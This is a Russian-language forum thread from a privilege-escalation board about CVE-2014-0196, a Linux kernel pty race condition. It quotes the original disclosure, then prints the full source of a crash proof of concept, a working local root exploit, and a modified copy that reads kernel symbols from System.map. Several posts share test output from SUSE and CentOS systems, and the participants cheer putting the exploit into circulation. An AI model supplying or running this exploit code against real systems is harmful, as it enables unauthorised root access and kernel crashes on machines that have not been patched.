RDot

RDot (https://rdot.org/forum/index.php)
-   Повышение привилегий/Privilege escalation (https://rdot.org/forum/forumdisplay.php?f=24)
-   -   CVE-2014-0196: Linux kernel pty layer race condition memory corruption (https://rdot.org/forum/showthread.php?t=3108)

12309 07.05.2014 02:56

CVE-2014-0196: Linux kernel pty layer race condition memory corruption
 
показалось интересным

Цитата:

On Mon, May 5, 2014 at 6:08 PM, Marcus Meissner <meissner () suse de> wrote:
Hi,

SUSE customer Ericsson reported a kernel crash to us which turned out
to be a race condition in the PTY write buffer handling.

When two processes/threads write to the same pty, the buffer end could
be overwritten and so memory corruption into adjacent buffers could lead
to crashes / code execution.

Jiri Slaby and Peter Hurley localized and fixed this problem.

CVE-2014-0196 has been assigned to this issue.

Jiri thinks this was introduced during 2.6.31 development by
d945cb9cce20ac7143c2de8d88b187f62db99bdc (pty: Rework the pty
layer to use the normal buffering logic) in 2.6.31-rc3. Until then, pty
was writing directly to a line discipline without using buffers.

https://bugzilla.novell.com/show_bug.cgi?id=875690

Patch is also attached.

Ciao, Marcus
Patch:
http://seclists.org/oss-sec/2014/q2/att-243/n_tty-Fix-n_tty_write-crash-when-echoing-in-raw-mode.patch

Crash POC:
http://pastebin.com/yTSFUBgZ

POC code:
Код:

/* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
 *    by DigitalCold <digitalcold0@gmail.com>
 *
 * Note: this crashes my i686 Gentoo system running 3.12.14
 * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
 * code exec would be greatly appreciated.
 *
 * Usage: gcc -O2 -o pty pty.c -lutil && ./pty
 *
 * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
 * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
 * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>

#include <pty.h>
#include <termios.h>
#include <fcntl.h>

// used to sync the two writer processes
volatile static int * Sync = NULL;

int main() {
  int master, res;
  struct termios tp;

  Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE,
                MAP_SHARED | MAP_ANONYMOUS, -1, 0);

  if(Sync == MAP_FAILED)
  {
    perror("Sync mmap");
    exit(1);
  }

  // hold
  *Sync = 0;

  // create a child with a new PTY connection
  pid_t child = forkpty(&master, NULL, NULL, NULL);

  if(child == -1) {
    perror("forkpty");
    exit(1);
  }
  // parent
  else if(child > 0) {
    printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
    printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
    printf("[+] Starting bombing run...\n");

    int flags = fcntl(master, F_GETFL, 0);
    fcntl(master, F_SETFL, flags | O_NONBLOCK);

    // synchronizer process
    int doSync = fork();

    if(!doSync) { // child
      // sync the two processes (CLK)
      while(1) {
        sleep(1);
        *Sync = 1; // release
        sleep(1);
        *Sync = 0;
      }
    }
    else if(doSync < 0)
    {
      perror("sync fork");
      exit(1);
    }

    // used for printing status
    int cnt = 0;
    char readBuf[256<<3];

    while(1) {
      while(!*Sync) usleep(1000);
      if(write(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master write");
          exit(1);
        }
      }
     
      // shovel the input
      if(read(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master read");
          exit(1);
        }
      }

      if(cnt >= 200000) {
        fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
        exit(1);
      }
      else if(cnt++ % 200 == 0)
        fprintf(stderr, ".");
    }
  }
  else { // child
    char discard[1024];

    if(tcgetattr(0, &tp) == -1)
        perror("tcgetattr");

    // enable raw mode with ECHO to trigger the bug
    cfmakeraw(&tp);
    tp.c_lflag |=  ECHO;

    if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
        perror("tcsetattr");

    // make stdin and stdout non-blocking
    int flags = fcntl(0, F_GETFL, 0);
    fcntl(0, F_SETFL, flags | O_NONBLOCK);
    flags = fcntl(1, F_GETFL, 0);
    fcntl(1, F_SETFL, flags | O_NONBLOCK);

    // construct a lengthy crash string
    size_t badStrSz = 256<<2;
    char * badStr = malloc(badStrSz);
    int i;

    for(i = 0; i < badStrSz; i++)
      badStr[i] = 'A';

    // slave loop
    while(1) {
      while(!*Sync) usleep(1000);
      if(write(1, badStr, badStrSz) < 0)
        if(errno != EAGAIN)
          exit(1);

      // eat the incoming data
      if(read(0, discard, sizeof discard) < 0)
        if(errno != EAGAIN)
          exit(1);
    }
  }

  return 0;
}

кастую SynQ в этот тред

SynQ 07.05.2014 10:32

Во вчерашнем 3.14.3 не закрыто. Эксплойт наверно скоро зарелизят.

SynQ 12.05.2014 13:06

Подоспел эксплойт для ограниченного количества 64-битных систем:
http://bugfuzz.com/stuff/cve-2014-0196-md.c

Эксплойт только для ядер 3.14 и 3.15

Код:

/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage:
 *  $ gcc cve-2014-0196-md.c -lutil -lpthread
 *  $ ./a.out
 *  [+] Resolving symbols
 *  [+] Resolved commit_creds: 0xffffffff81056694
 *  [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *  [+] Doing once-off allocations
 *  [+] Attempting to overflow into a tty_struct...............
 *  [+] Got it :)
 *  # id
 *  uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
        int counter;
} atomic_t;

struct kref {
        atomic_t refcount;
};

struct tty_struct_header {
        int        magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
        commit_creds(prepare_kernel_cred(0));

        return 0;
}

unsigned long get_symbol(char *target_name) {
        FILE *f;
        unsigned long addr;
        char dummy;
        char name[256];
        int ret = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL)
                return 0;

        while (ret != EOF) {
                ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
                if (ret == 0) {
                        fscanf(f, "%s\n", name);
                        continue;
                }

                if (!strcmp(name, target_name)) {
                        printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

                        fclose(f);
                        return addr;
                }
        }

        printf("[-] Couldn't resolve \"%s\"\n", name);

        fclose(f);
        return 0;
}

void *overwrite_thread_fn(void *p) {
        write(slave_fd, buf, 511);

        write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
        write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
        char scratch[1024] = {0};
        void *tty_operations[64];
        int i, temp_fd_1, temp_fd_2;

        for (i = 0; i < 64; ++i)
                tty_operations[i] = payload;

        overwrite.magic                = TTY_MAGIC;
        overwrite.kref.refcount.counter = 0x1337;
        overwrite.dev                  = (struct device *)scratch;
        overwrite.driver                = (struct tty_driver *)scratch;
        overwrite.ops                  = (struct tty_operations *)tty_operations;

        puts("[+] Resolving symbols");

        commit_creds = (commit_creds_fn)get_symbol("commit_creds");
        prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
        if (!commit_creds || !prepare_kernel_cred)
                return 1;

        puts("[+] Doing once-off allocations");

        for (i = 0; i < ONEOFF_ALLOCS; ++i)
                if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
                        puts("[-] pty creation failed");
                        return 1;
                }

        printf("[+] Attempting to overflow into a tty_struct...");
        fflush(stdout);

        for (i = 0; ; ++i) {
                struct termios t;
                int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
                pthread_t overwrite_thread;

                if (!(i & 0xfff)) {
                        putchar('.');
                        fflush(stdout);
                }

                if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
                        puts("\n[-] pty creation failed");
                        return 1;
                }

                for (j = 0; j < RUN_ALLOCS; ++j)
                        if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
                                puts("\n[-] pty creation failed");
                                return 1;
                        }

                close(fds[RUN_ALLOCS / 2]);
                close(fds2[RUN_ALLOCS / 2]);

                write(slave_fd, buf, 1);

                tcgetattr(master_fd, &t);
                t.c_oflag &= ~OPOST;
                t.c_lflag |= ECHO;
                tcsetattr(master_fd, TCSANOW, &t);

                if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
                        puts("\n[-] Overwrite thread creation failed");
                        return 1;
                }
                write(master_fd, "A", 1);
                pthread_join(overwrite_thread, NULL);

                for (j = 0; j < RUN_ALLOCS; ++j) {
                        if (j == RUN_ALLOCS / 2)
                                continue;

                        ioctl(fds[j], 0xdeadbeef);
                        ioctl(fds2[j], 0xdeadbeef);

                        close(fds[j]);
                        close(fds2[j]);
                }

                ioctl(master_fd, 0xdeadbeef);
                ioctl(slave_fd, 0xdeadbeef);

                close(master_fd);
                close(slave_fd);

                if (!setresuid(0, 0, 0)) {
                        setresgid(0, 0, 0);

                        puts("\n[+] Got it :)");
                        execl("/bin/bash", "/bin/bash", NULL);
                }
        }
}


12309 12.05.2014 20:19

так как в зузе /proc/kallsyms выглядит примерно так
Код:

. . .
0000000000000000 t noop_wakeup_secondary_cpu
0000000000000000 t noop_safe_apic_wait_icr_idle
0000000000000000 t noop_apic_icr_read
0000000000000000 t noop_phys_pkg_id
0000000000000000 t noop_get_apic_id
0000000000000000 t noop_probe
0000000000000000 t noop_apic_id_registered
0000000000000000 t noop_target_cpus
0000000000000000 t flat_cpu_mask_to_apicid_and
0000000000000000 t noop_check_apicid_present
0000000000000000 t noop_check_apicid_used
0000000000000000 t noop_apic_write
0000000000000000 t noop_apic_read
0000000000000000 t noop_vector_allocation_domain
0000000000000000 t physid_set_mask_of_physid
0000000000000000 T default_send_IPI_mask_sequence_phys
0000000000000000 T default_send_IPI_mask_allbutself_phys
0000000000000000 T hw_nmi_get_sample_period
0000000000000000 T arch_trigger_all_cpu_backtrace
0000000000000000 t read_apic_id
0000000000000000 t __ioapic_read_entry
0000000000000000 t __ioapic_write_entry
0000000000000000 t __io_apic_modify_irq
0000000000000000 t io_apic_sync
0000000000000000 t __unmask_ioapic
0000000000000000 t mask_lapic_irq
0000000000000000 t unmask_lapic_irq
0000000000000000 t ack_lapic_irq
0000000000000000 t irq_polarity
0000000000000000 t irq_trigger
0000000000000000 t pin_2_irq
0000000000000000 t ioapic_read_entry
0000000000000000 T save_ioapic_entries
0000000000000000 t ioapic_write_entry
0000000000000000 t mask_ioapic
0000000000000000 t mask_ioapic_irq
. . .

то скопировал из enlightenment функцию для доставания символов из System.map.
в результате:
Код:

19:04:05 /dev/shm> ./a.out
[+] Resolving symbols
 [+] Resolved commit_creds to 0xffffffff81077cd0 (via System.map)
 [+] Resolved prepare_kernel_cred to 0xffffffff81077fa0 (via System.map)
[+] Doing once-off allocations
[+] Attempting to overflow into a tty_struct................................................................................................................................................................................................................................................................

надоело ждать, остановил.
в процессе работы нагрузка на cpu была ~90%, и сгенерилось дохрена pty с постоянно меняющимися номерами, максимально 242
Код:

19:16:58 /dev/shm> ls -C1 /dev/pts/|sort -n | tail -n 5
235
236
237
238
242
19:16:59 /dev/shm> ls -C1 /dev/pts/|sort -n | tail -n 5
226
227
228
229
242
19:16:59 /dev/shm> ls -C1 /dev/pts/|sort -n | tail -n 5
238
239
240
241
242

ждём более надёжного эксплоита :)

12309 12.05.2014 20:22

centos 6.5 2.6.32-431.17.1.el6.x86_64
то же самое

sh-4.1$ ./a.out
[+] Resolving symbols
[+] Resolved commit_creds to 0xffffffff810a2b30 (via System.map)
[+] Resolved prepare_kernel_cred to 0xffffffff810a2db0 (via System.map)
[+] Doing once-off allocations
[+] Attempting to overflow into a tty_struct........................................ .................................................. ....................................^C

SynQ 13.05.2014 10:11

центось 6 неуязвима.
на лоре/опеннете есть репорты, пробивает в основном арч.

m0Hze 13.05.2014 19:45

Дак, я туплю, или в сплойте просто так указано, что бьет только ядра >= v3.14-rc1? Зачем же его тестить на более низких версиях? + 1 из 4 серверов вешает, как говорят в комментах на хабре.

Pashkela 13.05.2014 20:50

на всякий случай выложу то, что сказал 12309 для тех, кто хочет получить адреса символов через System.map, для тестов, а то на хабре у них пишет

Цитата:

[+] Resolved commit_creds: (nil)
[+] Resolved prepare_kernel_cred: (nil)
а ответы из серии "ядро не то и прочее" - как дети

Код:

/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Pashkela's edition: get symbols via System.map
 * can't read System.map? Put it near to exploit, file name is "System.map"
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage:
 *  variant1:  $ gcc cve-2014-0196-md.c -lutil -lpthread
 *
 *  $ ./a.out
 *  [+] Resolving symbols
 *  [+] Resolved commit_creds: 0xffffffff81056694
 *  [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *  [+] Doing once-off allocations
 *  [+] Attempting to overflow into a tty_struct...............
 *  [+] Got it :)
 *  # id
 *  uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>


#include <sys/utsname.h>


#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
        int counter;
} atomic_t;

struct kref {
        atomic_t refcount;
};

struct tty_struct_header {
        int        magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
        commit_creds(prepare_kernel_cred(0));

        return 0;
}

static int requires_symbols_to_trigger;
static int kallsyms_is_hidden;
unsigned long get_symbol(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;

        if (kallsyms_is_hidden)
                goto fallback;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }

repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '\0';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname) && addr) {
                        fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
                        fclose(f);
                        return addr;
                } else if (!strcmp(name, sname)) {
                        kallsyms_is_hidden = 1;
                }
        }

        fclose(f);
        if (rep == 2)
                return 0;
        else if (rep == 1)
                goto fallback2;
fallback:
        /* didn't find the symbol, let's retry with the System.map
          dedicated to the pointlessness of Russell Coker's SELinux
          test machine (why does he keep upgrading the kernel if
          "all necessary security can be provided by SE Linux"?)
        */
        uname(&ver);
        if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                goto fallback2;
        rep = 1;
        goto repeat;
fallback2:
        /* didn't find the symbol, let's retry with the System.map
          dedicated to the pointlessness of Russell Coker's SELinux
          test machine (why does he keep upgrading the kernel if
          "all necessary security can be provided by SE Linux"?)
        */
        uname(&ver);
        if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
                oldstyle = 1;
        sprintf(sname, "./System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL) {
                sprintf(sname, "./System.map");
                f = fopen(sname, "r");
                if (f == NULL) {
                        if (requires_symbols_to_trigger) {
                                printf("Unable to acquire kernel symbols.  Copy the appropriate System.map to the current directory.\n");
                                exit(1);
                        } else
                                return 0;
                }
        }
        rep = 2;
        goto repeat;
}

void *overwrite_thread_fn(void *p) {
        write(slave_fd, buf, 511);

        write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
        write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
        char scratch[1024] = {0};
        void *tty_operations[32];
        int i, temp_fd_1, temp_fd_2;

        for (i = 0; i < 64; ++i)
                tty_operations[i] = payload;

        overwrite.magic                = TTY_MAGIC;
        overwrite.kref.refcount.counter = 0x1337;
        overwrite.dev                  = (struct device *)scratch;
        overwrite.driver                = (struct tty_driver *)scratch;
        overwrite.ops                  = (struct tty_operations *)tty_operations;

        puts("[+] Resolving symbols");

        commit_creds = (commit_creds_fn)get_symbol("commit_creds");
        prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
        if (!commit_creds || !prepare_kernel_cred)
                return 1;

        puts("[+] Doing once-off allocations");

        for (i = 0; i < ONEOFF_ALLOCS; ++i)
                if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
                        puts("[-] pty creation failed");
                        return 1;
                }

        printf("[+] Attempting to overflow into a tty_struct...");
        fflush(stdout);

        for (i = 0; ; ++i) {
                struct termios t;
                int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
                pthread_t overwrite_thread;

                if (!(i & 0xfff)) {
                        putchar('.');
                        fflush(stdout);
                }

                if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
                        puts("\n[-] pty creation failed");
                        return 1;
                }

                for (j = 0; j < RUN_ALLOCS; ++j)
                        if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
                                puts("\n[-] pty creation failed");
                                return 1;
                        }

                close(fds[RUN_ALLOCS / 2]);
                close(fds2[RUN_ALLOCS / 2]);

                write(slave_fd, buf, 1);

                tcgetattr(master_fd, &t);
                t.c_oflag &= ~OPOST;
                t.c_lflag |= ECHO;
                tcsetattr(master_fd, TCSANOW, &t);

                if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
                        puts("\n[-] Overwrite thread creation failed");
                        return 1;
                }
                write(master_fd, "A", 1);
                pthread_join(overwrite_thread, NULL);

                for (j = 0; j < RUN_ALLOCS; ++j) {
                        if (j == RUN_ALLOCS / 2)
                                continue;

                        ioctl(fds[j], 0xdeadbeef);
                        ioctl(fds2[j], 0xdeadbeef);

                        close(fds[j]);
                        close(fds2[j]);
                }

                ioctl(master_fd, 0xdeadbeef);
                ioctl(slave_fd, 0xdeadbeef);

                close(master_fd);
                close(slave_fd);

                if (!setresuid(0, 0, 0)) {
                        setresgid(0, 0, 0);

                        puts("\n[+] Got it :)");
                        execl("/bin/bash", "/bin/bash", NULL);
                }
        }
}

для тестов

12309 14.05.2014 19:13

зря, так хоть какой-то челлендж для детей с хабра был :)

> центось 6 неуязвима.
я не читал подробности, но подозревал, что баг могли бэкпортировать в 2.6.32 шестой центоси

> Дак, я туплю, или в сплойте просто так указано, что бьет только ядра >= v3.14-rc1? Зачем же его тестить на более низких версиях?
вдруг пробьёт :) уязвимость есть начиная с 2.6.31-rcкакойто

Pashkela 14.05.2014 19:44

Цитата:

зря, так хоть какой-то челлендж для детей с хабра был
В целом тоже за челендж, но мне дороже всегда истина была, и свобода информации. А также провоцирование появления новых сплойтов, чтобы не расслаблялись.


Часовой пояс GMT +3, время: 00:48.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot